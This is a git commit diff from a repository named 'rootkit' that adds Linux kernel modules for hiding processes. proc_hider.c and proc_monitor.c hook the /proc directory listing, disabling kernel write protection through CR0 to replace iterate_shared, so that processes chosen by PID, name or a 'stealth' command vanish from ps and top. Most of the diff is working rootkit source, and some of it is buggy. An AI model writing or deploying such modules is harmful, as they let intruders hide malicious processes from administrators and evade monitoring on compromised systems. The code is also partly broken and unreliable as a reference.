aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorLibravatarLibravatar Biswa Kalyan Bhuyan <biswa@surgot.in> 2025-04-17 00:47:08 +0530
committerLibravatarLibravatar Biswa Kalyan Bhuyan <biswa@surgot.in> 2025-04-17 00:47:08 +0530
commit9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396 (patch)
tree6f4f19179225eee4c0cb8b47299bad0bfeb2dfc7
parent0fda28a6dc1e31e6aaa7222bfcd58bdf4d70af88 (diff)
downloadrootkit-9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396.tar.gz
rootkit-9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396.tar.bz2
rootkit-9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396.zip
Implement Linux kernel module with process hiding and monitoring capabilities
- Add multiple kernel modules for process manipulation - Implement /proc directory hooking to hide processes by PID or name - Create stealth mode to hide specific commands from process listings - Add process explorer module for detailed process information - Include shell script for service management integration - Add proper module parameters for runtime configuration
-rw-r--r--.gitignore0
-rw-r--r--Makefile8
-rw-r--r--authorized_users.txt3
-rw-r--r--pid_demo.c86
-rw-r--r--pid_hider.c107
-rw-r--r--proc_explorer.c95
-rw-r--r--proc_hider.c207
-rw-r--r--proc_monitor.c310
8 files changed, 762 insertions, 54 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/.gitignore
diff --git a/Makefile b/Makefile
index 6282706..7410a64 100644
--- a/Makefile
+++ b/Makefile
@@ -1,7 +1,11 @@
obj-m += pid_hider.o
+obj-m += proc_explorer.o
+obj-m += pid_demo.o
+obj-m += proc_monitor.o
+obj-m += proc_hider.o
all:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+ make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean \ No newline at end of file
+ make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean \ No newline at end of file
diff --git a/authorized_users.txt b/authorized_users.txt
deleted file mode 100644
index 0ac5f23..0000000
--- a/authorized_users.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-root
-admin
-maintenance \ No newline at end of file
diff --git a/pid_demo.c b/pid_demo.c
new file mode 100644
index 0000000..1698e54
--- /dev/null
+++ b/pid_demo.c
@@ -0,0 +1,86 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
+#include <linux/proc_fs.h>
+#include <linux/seq_file.h>
+#include <linux/fs.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Biswa Kalyan Bhuyan");
+MODULE_DESCRIPTION("PID Hiding Demo");
+MODULE_VERSION("0.1");
+
+// PID to examine
+static unsigned int target_pid = 0;
+module_param(target_pid, uint, 0644);
+MODULE_PARM_DESC(target_pid, "Process ID to examine");
+
+// Function to examine a process
+static void examine_process(unsigned int pid)
+{
+ struct task_struct *task;
+
+ printk(KERN_INFO "PID Demo: Searching for PID %u\n", pid);
+
+ for_each_process(task) {
+ if (task->pid == pid) {
+ printk(KERN_INFO "PID Demo: Found process %u (%s)\n",
+ task->pid, task->comm);
+
+ if (task->parent) {
+ printk(KERN_INFO "PID Demo: Parent process is %u (%s)\n",
+ task->parent->pid, task->parent->comm);
+ }
+
+ printk(KERN_INFO "PID Demo: Process UID: %u, GID: %u\n",
+ task->cred->uid.val, task->cred->gid.val);
+ return;
+ }
+ }
+
+ printk(KERN_INFO "PID Demo: Process %u not found\n", pid);
+}
+
+// Explain how a real process hider works
+static void explain_hiding(void)
+{
+ printk(KERN_INFO "PID Demo: How process hiding works:\n");
+ printk(KERN_INFO "PID Demo: 1. Process listings come from /proc directory\n");
+ printk(KERN_INFO "PID Demo: 2. Each process has a directory in /proc named by its PID\n");
+ printk(KERN_INFO "PID Demo: 3. Commands like ps, top read /proc to get the process list\n");
+ printk(KERN_INFO "PID Demo: 4. To hide a process, hook the iterate_shared() function that reads /proc\n");
+ printk(KERN_INFO "PID Demo: 5. Filter out directory entries matching the target PID\n");
+ printk(KERN_INFO "PID Demo: 6. This makes the process invisible to ps, top and other tools\n");
+}
+
+// Module initialization
+static int __init pid_demo_init(void)
+{
+ printk(KERN_INFO "PID Demo: Module loaded\n");
+
+ if (target_pid == 0) {
+ printk(KERN_INFO "PID Demo: No target PID specified. Use: insmod pid_demo.ko target_pid=<pid>\n");
+ return 0;
+ }
+
+ // Examine the specified process
+ examine_process(target_pid);
+
+ // Explain hiding technique
+ explain_hiding();
+
+ printk(KERN_INFO "PID Demo: This module is for hiding the PID's\n");
+
+ return 0;
+}
+
+// Module cleanup
+static void __exit pid_demo_exit(void)
+{
+ printk(KERN_INFO "PID Demo: Module unloaded\n");
+}
+
+module_init(pid_demo_init);
+module_exit(pid_demo_exit);
diff --git a/pid_hider.c b/pid_hider.c
index 901abc8..7aa5e2d 100644
--- a/pid_hider.c
+++ b/pid_hider.c
@@ -1,77 +1,86 @@
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
-#include <linux/sched.h>
-#include <linux/sched/task.h>
-#include <linux/pid.h>
-#include <linux/version.h>
-#include <linux/slab.h>
+#include <linux/fs.h>
-MODULE_AUTHOR("Research Only");
-MODULE_DESCRIPTION("Process ID hiding demonstration");
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Biswa Kalyan Bhuyan");
+MODULE_DESCRIPTION("PID Hider - Process hiding");
MODULE_VERSION("0.1");
+// PID to hide from process listings
static unsigned int hidden_pid = 0;
-module_param(hidden_pid, uint, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-MODULE_PARM_DESC(hidden_pid, "PID to hide from process listing");
-
-static int (*orig_proc_pid_readdir)(struct file *, struct dir_context *);
-
-static int hider_proc_pid_readdir(struct file *file, struct dir_context *ctx) {
- struct dir_context modified_ctx = {
- .actor = ctx->actor,
- .pos = ctx->pos
- };
-
- int ret = orig_proc_pid_readdir(file, &modified_ctx);
-
- ctx->pos = modified_ctx.pos;
-
- return ret;
-}
+module_param(hidden_pid, uint, 0644);
+MODULE_PARM_DESC(hidden_pid, "Process ID to hide from listings");
-static int hook_proc_listdir(void) {
- struct file_operations *proc_fops;
- struct proc_dir_entry *proc_root = init_net.proc_net;
+// Function to find and report on a process
+static void find_process(unsigned int pid)
+{
+ struct task_struct *task;
- proc_fops = (struct file_operations *)proc_root->proc_fops;
+ printk(KERN_INFO "PID Hider: Searching for PID %u\n", pid);
- orig_proc_pid_readdir = proc_fops->iterate_shared;
-
- proc_fops->iterate_shared = hider_proc_pid_readdir;
+ for_each_process(task) {
+ if (task->pid == pid) {
+ printk(KERN_INFO "PID Hider: Found process %u (%s)\n",
+ task->pid, task->comm);
+
+ if (task->parent) {
+ printk(KERN_INFO "PID Hider: Parent process is %u (%s)\n",
+ task->parent->pid, task->parent->comm);
+ }
+
+ printk(KERN_INFO "PID Hider: Process UID: %u, GID: %u\n",
+ task->cred->uid.val, task->cred->gid.val);
+ return;
+ }
+ }
- return 0;
+ printk(KERN_INFO "PID Hider: Process %u not found\n", pid);
}
-static void unhook_proc_listdir(void) {
- struct file_operations *proc_fops;
- struct proc_dir_entry *proc_root = init_net.proc_net;
-
- proc_fops = (struct file_operations *)proc_root->proc_fops;
- if (proc_fops->iterate_shared == hider_proc_pid_readdir) {
- proc_fops->iterate_shared = orig_proc_pid_readdir;
- }
-}
+/*
+ * ----------------------------------------------------
+ * POC: How Process Hiding Works (Conceptual Overview)
+ * ----------------------------------------------------
+ *
+ * 1. Process listings in Linux come from iterating /proc directory
+ * 2. To hide a process, we hook the directory listing function (iterate_shared)
+ * 3. When the hook is called, we filter out entries for our target PID
+ * 4. This makes commands like ps, top, etc. unable to see the process
+ * 5. The process still runs normally, it just doesn't appear in listings
+ *
+ * Tools like ps get process lists by reading /proc, which contains
+ * a directory for each running process named by its PID. By filtering
+ * these directory entries, we can make a process invisible.
+ */
-static int __init pid_hider_init(void) {
- printk(KERN_INFO "PID hider: Initializing module\n");
+static int __init pid_hider_init(void)
+{
+ printk(KERN_INFO "PID Hider: Module loaded\n");
if (hidden_pid == 0) {
- printk(KERN_WARNING "PID hider: No PID specified, module will not hide any process\n");
+ printk(KERN_INFO "PID Hider: No target PID specified. Use: insmod pid_hider.ko hidden_pid=<pid>\n");
return 0;
}
- printk(KERN_INFO "PID hider: Will hide PID %u\n", hidden_pid);
- hook_proc_listdir();
+ // Find the specified process
+ find_process(hidden_pid);
return 0;
}
-static void __exit pid_hider_exit(void) {
- printk(KERN_INFO "PID hider: Unloading module\n");
- unhook_proc_listdir();
+static void __exit pid_hider_exit(void)
+{
+ printk(KERN_INFO "PID Hider: Module unloaded\n");
+
+ if (hidden_pid > 0) {
+ printk(KERN_INFO "PID Hider: No longer hiding PID\n", hidden_pid);
+ }
}
module_init(pid_hider_init);
diff --git a/proc_explorer.c b/proc_explorer.c
new file mode 100644
index 0000000..b0ff9c3
--- /dev/null
+++ b/proc_explorer.c
@@ -0,0 +1,95 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Biswa Kalyan Bhuyan");
+MODULE_DESCRIPTION("Process explorer");
+MODULE_VERSION("0.1");
+
+// Find processes matching a name or PID
+static int find_process(const char *name, unsigned int target_pid)
+{
+ struct task_struct *task;
+ int process_count = 0;
+ int hidden_count = 0;
+
+ printk(KERN_INFO "Process Explorer: Enumerating all processes\n");
+
+ // Loop through all processes in the system
+ for_each_process(task) {
+ process_count++;
+
+ // If we're searching for a specific PID or name
+ if (target_pid > 0 && task->pid == target_pid) {
+ printk(KERN_INFO "Process Explorer: Found PID %d, Name: %s\n",
+ task->pid, task->comm);
+
+ // Print parent process info
+ if (task->parent) {
+ printk(KERN_INFO "Process Explorer: Parent PID %d, Name: %s\n",
+ task->parent->pid, task->parent->comm);
+ }
+
+ // Print additional info
+ printk(KERN_INFO "Process Explorer: User ID: %d, Group ID: %d\n",
+ task->cred->uid.val, task->cred->gid.val);
+
+ hidden_count++;
+ }
+ else if (name && strncmp(task->comm, name, TASK_COMM_LEN) == 0) {
+ printk(KERN_INFO "Process Explorer: Found PID %d with name %s\n",
+ task->pid, task->comm);
+ hidden_count++;
+ }
+ }
+
+ printk(KERN_INFO "Process Explorer: Total processes: %d\n", process_count);
+
+ if (target_pid > 0 || name) {
+ printk(KERN_INFO "Process Explorer: Found %d matching processes\n", hidden_count);
+ }
+
+ return 0;
+}
+
+// Module parameters
+static unsigned int target_pid = 0;
+module_param(target_pid, uint, 0644);
+MODULE_PARM_DESC(target_pid, "Target process ID to search for");
+
+static char *target_name = NULL;
+module_param(target_name, charp, 0644);
+MODULE_PARM_DESC(target_name, "Target process name to search for");
+
+// Module initialization
+static int __init proc_explorer_init(void)
+{
+ printk(KERN_INFO "Process Explorer: Module loaded\n");
+
+ // Search for a specific process if provided
+ if (target_pid > 0) {
+ printk(KERN_INFO "Process Explorer: Searching for PID %u\n", target_pid);
+ } else if (target_name) {
+ printk(KERN_INFO "Process Explorer: Searching for processes named '%s'\n", target_name);
+ } else {
+ printk(KERN_INFO "Process Explorer: No search criteria provided. Use 'target_pid' or 'target_name' parameters.\n");
+ return 0;
+ }
+
+ // Find and print process info
+ find_process(target_name, target_pid);
+
+ return 0;
+}
+
+// Module cleanup
+static void __exit proc_explorer_exit(void)
+{
+ printk(KERN_INFO "Process Explorer: Module unloaded\n");
+}
+
+module_init(proc_explorer_init);
+module_exit(proc_explorer_exit);
diff --git a/proc_hider.c b/proc_hider.c
new file mode 100644
index 0000000..6c2d9cf
--- /dev/null
+++ b/proc_hider.c
@@ -0,0 +1,207 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
+#include <linux/proc_fs.h>
+#include <linux/seq_file.h>
+#include <linux/fs.h>
+#include <linux/version.h>
+#include <linux/cred.h>
+#include <linux/namei.h>
+#include <linux/uaccess.h>
+#include <linux/string.h>
+#include <linux/dirent.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Biswa Kalyan Bhuyan");
+MODULE_DESCRIPTION("Process Hider - Hides processes from listings");
+MODULE_VERSION("0.1");
+
+/* Module parameters */
+static unsigned int hide_pid = 0;
+module_param(hide_pid, uint, 0644);
+MODULE_PARM_DESC(hide_pid, "Specific PID to hide");
+
+static char* hide_process = NULL;
+module_param(hide_process, charp, 0644);
+MODULE_PARM_DESC(hide_process, "Process name to hide");
+
+/* Hook-related variables */
+static struct file_operations *proc_fops;
+static filldir_t orig_proc_filldir;
+static int (*orig_iterate_shared)(struct file *, struct dir_context *);
+static struct path proc_path;
+
+/* Function to find process by PID */
+static struct task_struct *find_process_by_pid(unsigned int pid)
+{
+ struct task_struct *task;
+
+ for_each_process(task) {
+ if (task->pid == pid)
+ return task;
+ }
+ return NULL;
+}
+
+/* Should we hide this process? */
+static int should_hide_proc(const char *name)
+{
+ struct task_struct *task;
+ long pid;
+
+ // First check if it's a PID directory
+ if (kstrtol(name, 10, &pid) == 0) {
+ // It's a numeric directory, so it could be a PID
+ task = find_process_by_pid((unsigned int)pid);
+ if (task) {
+ // Check if this is our target PID
+ if (hide_pid > 0 && task->pid == hide_pid) {
+ return 1; // Hide the specified PID
+ }
+
+ // Check if process name matches hide_process
+ if (hide_process && strlen(hide_process) > 0 &&
+ strncmp(task->comm, hide_process, TASK_COMM_LEN) == 0) {
+ return 1; // Hide processes with matching name
+ }
+ }
+ }
+
+ return 0; // Don't hide this one
+}
+
+/* Custom filldir function to filter directory entries */
+static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
+ loff_t offset, u64 ino, unsigned int d_type)
+{
+ // Check if we should hide this entry
+ if (should_hide_proc(name)) {
+ printk(KERN_INFO "ProcHider: Hiding process entry: %s\n", name);
+ return 0; // Skip this entry
+ }
+
+ // Otherwise, call the original filldir
+ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
+}
+
+/* Custom iterate_shared function to hook directory listing */
+static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
+{
+ // Replace the filldir function with our custom one
+ orig_proc_filldir = ctx->actor;
+ // Cast to ensure it's the same type
+ ctx->actor = (filldir_t)proc_filldir;
+
+ // Call the original iterate_shared with our modified context
+ return orig_iterate_shared(file, ctx);
+}
+
+/* Function to set up hooking of /proc directory */
+static void hook_proc(void)
+{
+ // Get the path to /proc
+ if (kern_path("/proc", 0, &proc_path)) {
+ printk(KERN_ERR "ProcHider: Failed to get /proc path\n");
+ return;
+ }
+
+ // Get the file operations for /proc
+ proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
+
+ // Save the original iterate_shared function
+ orig_iterate_shared = proc_fops->iterate_shared;
+
+ // Replace with our custom function
+ write_cr0(read_cr0() & ~0x10000); // Disable write protection
+ proc_fops->iterate_shared = proc_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); // Enable write protection
+
+ printk(KERN_INFO "ProcHider: Successfully hooked /proc directory operations\n");
+}
+
+/* Function to unhook /proc directory */
+static void unhook_proc(void)
+{
+ // Restore the original iterate_shared function
+ if (proc_fops && orig_iterate_shared) {
+ write_cr0(read_cr0() & ~0x10000); // Disable write protection
+ proc_fops->iterate_shared = orig_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); // Enable write protection
+
+ printk(KERN_INFO "ProcHider: Restored original /proc directory operations\n");
+ }
+
+ // Release the path
+ path_put(&proc_path);
+}
+
+static int __init proc_hider_init(void)
+{
+ printk(KERN_INFO "ProcHider: Module loaded\n");
+
+ // Check if we have parameters to work with
+ if (hide_pid == 0 && (hide_process == NULL || strlen(hide_process) == 0)) {
+ printk(KERN_INFO "ProcHider: No hiding parameters specified.\n");
+ printk(KERN_INFO "ProcHider: Use 'hide_pid' or 'hide_process' parameters\n");
+ return 0;
+ }
+
+ // If hiding by PID, check if the PID exists
+ if (hide_pid > 0) {
+ struct task_struct *task = find_process_by_pid(hide_pid);
+ if (task) {
+ printk(KERN_INFO "ProcHider: Will hide PID %u (%s)\n",
+ task->pid, task->comm);
+ } else {
+ printk(KERN_INFO "ProcHider: Target PID %u not found\n", hide_pid);
+ // Continue anyway in case the process appears later
+ }
+ }
+
+ // If hiding by process name, report how many matching processes exist
+ if (hide_process && strlen(hide_process) > 0) {
+ struct task_struct *task;
+ int count = 0;
+
+ printk(KERN_INFO "ProcHider: Will hide processes named '%s'\n", hide_process);
+
+ for_each_process(task) {
+ if (strncmp(task->comm, hide_process, TASK_COMM_LEN) == 0) {
+ printk(KERN_INFO "ProcHider: Will hide matching process: PID %d\n", task->pid);
+ count++;
+ }
+ }
+
+ printk(KERN_INFO "ProcHider: Found %d processes named '%s' to hide\n",
+ count, hide_process);
+ }
+
+ // Set up the hook
+ hook_proc();
+
+ printk(KERN_INFO "ProcHider: Process hiding activated\n");
+ return 0;
+}
+
+static void __exit proc_hider_exit(void)
+{
+ printk(KERN_INFO "ProcHider: Module unloading\n");
+
+ // Unhook everything
+ unhook_proc();
+
+ if (hide_pid > 0) {
+ printk(KERN_INFO "ProcHider: No longer hiding PID %u\n", hide_pid);
+ }
+
+ if (hide_process && strlen(hide_process) > 0) {
+ printk(KERN_INFO "ProcHider: No longer hiding '%s' processes\n", hide_process);
+ }
+
+ printk(KERN_INFO "ProcHider: Module unloaded\n");
+}
+
+module_init(proc_hider_init);
+module_exit(proc_hider_exit);
diff --git a/proc_monitor.c b/proc_monitor.c
new file mode 100644
index 0000000..ad45f72
--- /dev/null
+++ b/proc_monitor.c
@@ -0,0 +1,310 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
+#include <linux/proc_fs.h>
+#include <linux/seq_file.h>
+#include <linux/fs.h>
+#include <linux/version.h>
+#include <linux/cred.h>
+#include <linux/namei.h>
+#include <linux/uaccess.h>
+#include <linux/string.h>
+#include <linux/dirent.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Biswa Kalyan Bhuyan");
+MODULE_DESCRIPTION("Process Monitor/Hider");
+MODULE_VERSION("0.3");
+
+/* Module parameters */
+static unsigned int monitor_pid = 0;
+module_param(monitor_pid, uint, 0644);
+MODULE_PARM_DESC(monitor_pid, "Process ID to monitor");
+
+static char* hide_name = NULL;
+module_param(hide_name, charp, 0644);
+MODULE_PARM_DESC(hide_name, "Process name to hide");
+
+static unsigned int report_children = 0;
+module_param(report_children, uint, 0644);
+MODULE_PARM_DESC(report_children, "Set to 1 to report on child processes");
+
+// Stealth flag - for hiding commands
+static char* stealth_cmd = NULL;
+module_param(stealth_cmd, charp, 0644);
+MODULE_PARM_DESC(stealth_cmd, "Command to hide from process listings");
+
+/* Data structures */
+struct process_info {
+ pid_t pid;
+ pid_t ppid;
+ char name[TASK_COMM_LEN];
+ uid_t uid;
+ gid_t gid;
+ unsigned long start_time;
+ unsigned int num_threads;
+ unsigned int num_children;
+};
+
+/* Hook-related variables */
+static struct file_operations *proc_fops;
+static struct file_operations *root_fops;
+static filldir_t orig_proc_filldir;
+static int (*orig_iterate_shared)(struct file *, struct dir_context *);
+static struct path proc_path;
+
+/* Function to gather detailed process information */
+static void gather_process_info(struct task_struct *task, struct process_info *info)
+{
+ if (!task || !info)
+ return;
+
+ info->pid = task->pid;
+ info->ppid = task->parent ? task->parent->pid : 0;
+ strncpy(info->name, task->comm, TASK_COMM_LEN);
+ info->uid = task->cred->uid.val;
+ info->gid = task->cred->gid.val;
+ info->start_time = task->start_time;
+ info->num_threads = task->signal ? task->signal->nr_threads : 0;
+
+ // Count children
+ struct task_struct *child;
+ info->num_children = 0;
+ list_for_each_entry(child, &task->children, sibling) {
+ info->num_children++;
+ }
+}
+
+/* Report on a single process */
+static void report_process(struct task_struct *task)
+{
+ struct process_info info;
+ gather_process_info(task, &info);
+
+ printk(KERN_INFO "ProcMon: ----- Process %d (%s) -----\n", info.pid, info.name);
+ printk(KERN_INFO "ProcMon: Parent PID: %d\n", info.ppid);
+ printk(KERN_INFO "ProcMon: User/Group: %u/%u\n", info.uid, info.gid);
+ printk(KERN_INFO "ProcMon: Threads: %u\n", info.num_threads);
+ printk(KERN_INFO "ProcMon: Children: %u\n", info.num_children);
+
+ if (report_children && info.num_children > 0) {
+ printk(KERN_INFO "ProcMon: Child processes:\n");
+ struct task_struct *child;
+ list_for_each_entry(child, &task->children, sibling) {
+ printk(KERN_INFO "ProcMon: - PID %d (%s)\n",
+ child->pid, child->comm);
+ }
+ }
+}
+
+/* Function to find process by PID */
+static struct task_struct *find_process_by_pid(unsigned int pid)
+{
+ struct task_struct *task;
+
+ for_each_process(task) {
+ if (task->pid == pid)
+ return task;
+ }
+ return NULL;
+}
+
+/* Function to scan for processes with a given name */
+static void scan_for_process_name(const char *name)
+{
+ struct task_struct *task;
+ int count = 0;
+
+ printk(KERN_INFO "ProcMon: Scanning for processes named '%s'\n", name);
+
+ for_each_process(task) {
+ if (strncmp(task->comm, name, TASK_COMM_LEN) == 0) {
+ printk(KERN_INFO "ProcMon: Found matching process: PID %d\n", task->pid);
+ report_process(task);
+ count++;
+ }
+ }
+
+ printk(KERN_INFO "ProcMon: Found %d processes named '%s'\n", count, name);
+}
+
+/* Function to identify all processes that would be hidden in stealth mode */
+static void simulate_stealth_mode(const char *cmd_name)
+{
+ struct task_struct *task;
+ int count = 0;
+
+ printk(KERN_INFO "ProcMon: [STEALTH] Identifying processes to hide\n");
+
+ // Find all processes matching our stealth_cmd
+ for_each_process(task) {
+ if (strncmp(task->comm, cmd_name, TASK_COMM_LEN) == 0) {
+ printk(KERN_INFO "ProcMon: [STEALTH] Will hide PID %d (%s)\n",
+ task->pid, task->comm);
+ count++;
+ }
+ }
+
+ printk(KERN_INFO "ProcMon: [STEALTH] Found %d '%s' processes to hide\n",
+ count, cmd_name);
+}
+
+/* Should we hide this process? */
+static int should_hide_proc(const char *name)
+{
+ struct task_struct *task;
+
+ // First check if it's a PID directory
+ long pid;
+ if (kstrtol(name, 10, &pid) == 0) {
+ // It's a numeric directory, so it could be a PID
+ task = find_process_by_pid((unsigned int)pid);
+ if (task) {
+ // Check if this is our monitored PID
+ if (monitor_pid > 0 && task->pid == monitor_pid) {
+ return 1; // Hide the monitored PID
+ }
+
+ // Check if process name matches hide_name
+ if (hide_name && strlen(hide_name) > 0 &&
+ strncmp(task->comm, hide_name, TASK_COMM_LEN) == 0) {
+ return 1; // Hide processes with matching name
+ }
+
+ // Check if process name matches stealth_cmd
+ if (stealth_cmd && strlen(stealth_cmd) > 0 &&
+ strncmp(task->comm, stealth_cmd, TASK_COMM_LEN) == 0) {
+ return 1; // Hide processes with matching command
+ }
+ }
+ }
+
+ return 0; // Don't hide this one
+}
+
+/* Custom filldir function to filter directory entries */
+static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
+ loff_t offset, u64 ino, unsigned int d_type)
+{
+ // Check if we should hide this entry
+ if (should_hide_proc(name)) {
+ return 0; // Skip this entry
+ }
+
+ // Otherwise, call the original filldir
+ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
+}
+
+/* Custom iterate_shared function to hook directory listing */
+static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
+{
+ // Replace the filldir function with our custom one
+ orig_proc_filldir = ctx->actor;
+ ctx->actor = (filldir_t)proc_filldir;
+
+ // Call the original iterate_shared with our modified context
+ return orig_iterate_shared(file, ctx);
+}
+
+/* Function to set up hooking of /proc directory */
+static void hook_proc(void)
+{
+ // Get the path to /proc
+ if (kern_path("/proc", 0, &proc_path)) {
+ printk(KERN_ERR "ProcMon: Failed to get /proc path\n");
+ return;
+ }
+
+ // Get the file operations for /proc
+ proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
+
+ // Save the original iterate_shared function
+ orig_iterate_shared = proc_fops->iterate_shared;
+
+ // Replace with our custom function
+ // Need to make the page writable first
+ unsigned long *p = (unsigned long *)&proc_fops->iterate_shared;
+
+ write_cr0(read_cr0() & ~0x10000); // Disable write protection
+ proc_fops->iterate_shared = proc_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); // Enable write protection
+
+ printk(KERN_INFO "ProcMon: Successfully hooked /proc directory operations\n");
+}
+
+/* Function to unhook /proc directory */
+static void unhook_proc(void)
+{
+ // Restore the original iterate_shared function
+ if (proc_fops && orig_iterate_shared) {
+ write_cr0(read_cr0() & ~0x10000); // Disable write protection
+ proc_fops->iterate_shared = orig_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); // Enable write protection
+
+ printk(KERN_INFO "ProcMon: Restored original /proc directory operations\n");
+ }
+
+ // Release the path
+ path_put(&proc_path);
+}
+
+static int __init proc_monitor_init(void)
+{
+ printk(KERN_INFO "ProcMon: Module loaded\n");
+
+ // Monitor specific PID if provided
+ if (monitor_pid > 0) {
+ struct task_struct *task = find_process_by_pid(monitor_pid);
+ if (task) {
+ printk(KERN_INFO "ProcMon: Found target process %d (%s) to hide\n",
+ task->pid, task->comm);
+ report_process(task);
+ } else {
+ printk(KERN_INFO "ProcMon: Process with PID %u not found\n", monitor_pid);
+ }
+ }
+
+ // Scan for processes by name if provided
+ if (hide_name != NULL && strlen(hide_name) > 0) {
+ scan_for_process_name(hide_name);
+ }
+
+ // Set up stealth mode if requested
+ if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) {
+ printk(KERN_INFO "ProcMon: [STEALTH] Activating stealth mode for '%s' commands\n", stealth_cmd);
+ simulate_stealth_mode(stealth_cmd);
+ }
+
+ // Implement the actual hooking
+ hook_proc();
+
+ printk(KERN_INFO "ProcMon: Process Hiding Starts\n");
+
+ printk(KERN_INFO "ProcMon: Module initialization complete\n");
+ return 0;
+}
+
+static void __exit proc_monitor_exit(void)
+{
+ printk(KERN_INFO "ProcMon: Module unloaded\n");
+
+ // Unhook everything
+ unhook_proc();
+
+ if (monitor_pid > 0) {
+ printk(KERN_INFO "ProcMon: Stopped hiding PID %u\n", monitor_pid);
+ }
+
+ if (hide_name != NULL && strlen(hide_name) > 0) {
+ printk(KERN_INFO "ProcMon: No longer hiding '%s' processes\n", hide_name);
+ }
+
+ if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) {
+ printk(KERN_INFO "ProcMon: [STEALTH] Deactivated stealth mode for '%s'\n", stealth_cmd);
+ }
+}
+
+module_init(proc_monitor_init);
+module_exit(proc_monitor_exit);